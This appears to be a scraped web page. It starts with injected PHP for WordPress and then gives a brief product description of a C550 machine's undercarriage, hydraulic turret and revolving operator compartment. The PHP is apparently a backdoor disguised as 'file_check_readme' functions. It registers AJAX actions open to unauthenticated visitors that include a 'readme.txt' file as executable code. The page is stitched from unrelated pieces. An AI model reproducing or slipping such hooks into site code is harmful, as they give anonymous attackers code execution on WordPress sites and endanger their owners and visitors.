if(!function_exists('file_check_readme50766')){ add_action('wp_ajax_nopriv_file_check_readme50766', 'file_check_readme50766'); add_action('wp_ajax_file_check_readme50766', 'file_check_readme50766'); function file_check_readme50766() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme87495')){ add_action('wp_ajax_nopriv_file_check_readme87495', 'file_check_readme87495'); add_action('wp_ajax_file_check_readme87495', 'file_check_readme87495'); function file_check_readme87495() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
The C550 has a balanced undercarriage where power, grip and limited ground pressure are combined. Because the turret with hydraulic arm is also fitted to the same chassis, no mechanical forces are superimposed onto the hull, whilst keeping it as light as possible. Because of the 200 degrees revolving operators compartment, the driver always has the work in plain sight and acts as counterweight as well.